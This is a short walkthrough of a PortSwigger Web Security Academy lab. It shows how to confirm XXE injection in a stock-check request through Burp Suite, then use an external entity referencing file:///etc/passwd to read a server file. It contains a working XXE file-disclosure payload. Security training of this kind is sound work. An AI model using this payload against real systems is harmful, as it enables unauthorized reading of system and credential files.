---
description: https://portswigger.net/web-security/xxe/lab-exploiting-xxe-to-retrieve-files
---

# Exploiting XXE using external entities to retrieve files

<figure><img src="https://1586847736-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtSZ40gLWhBDTzPEgHsVB%2Fuploads%2FYs9t4mCgTJjZ8Rb88vD3%2F1.png?alt=media&#x26;token=5cfd0380-2523-4c8b-b16a-83923a559ef7" alt=""><figcaption></figcaption></figure>

Let's check the stock of one of the products.

<figure><img src="https://1586847736-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtSZ40gLWhBDTzPEgHsVB%2Fuploads%2F1N89zrdVoVfw3q15uRWw%2F2.png?alt=media&#x26;token=13c69180-d9db-474c-9bf3-7d1b552c4782" alt=""><figcaption></figcaption></figure>

Since we are proxying the requests through Burp Suite, we can go to `Proxy > HTTP History` to view the request.

<figure><img src="https://1586847736-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtSZ40gLWhBDTzPEgHsVB%2Fuploads%2F8nASfAK1jGorxeYS6Zzd%2F3.png?alt=media&#x26;token=3d9e4890-4a20-4510-b6f3-34c5b9ed3057" alt=""><figcaption></figcaption></figure>

We can see that the request contains an XML entity.

Let's forward this request to the `Repeater` for further modification.

Once in the `Repeater` tab, declare the following internal entity after the XML prologue:

```
<!DOCTYPE test 
[<!ENTITY test "test_entity">]
>
```

And reference the entity within the `<productId>` tag as follows:

```
<productId>
    &test;
</productId>
```

<figure><img src="https://1586847736-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtSZ40gLWhBDTzPEgHsVB%2Fuploads%2FlCl88yEKwPc1SrxC9usE%2F4.png?alt=media&#x26;token=aea4bd5f-7995-42e9-a280-a68571224975" alt=""><figcaption></figcaption></figure>

The response includes out `test` entity. This tells us that the application is vulnerable to XXE injection.

Now, in place of the internal entity, declare the following entity:

```
<!DOCTYPE test 
[<!ENTITY test SYSTEM "file:///etc/passwd">]
>
```

<figure><img src="https://1586847736-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtSZ40gLWhBDTzPEgHsVB%2Fuploads%2FnVnvr11G7amkEkwZqU0C%2F5.png?alt=media&#x26;token=c973eef0-a453-4408-9f97-7e0cd92ef6b8" alt=""><figcaption></figcaption></figure>

We have solved the lab.

<figure><img src="https://1586847736-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FtSZ40gLWhBDTzPEgHsVB%2Fuploads%2Fk3XguMrMp3nOUlZDIPbf%2F7.png?alt=media&#x26;token=cc051552-ac66-451f-a3ae-5a1b0aa363f5" alt=""><figcaption></figcaption></figure>
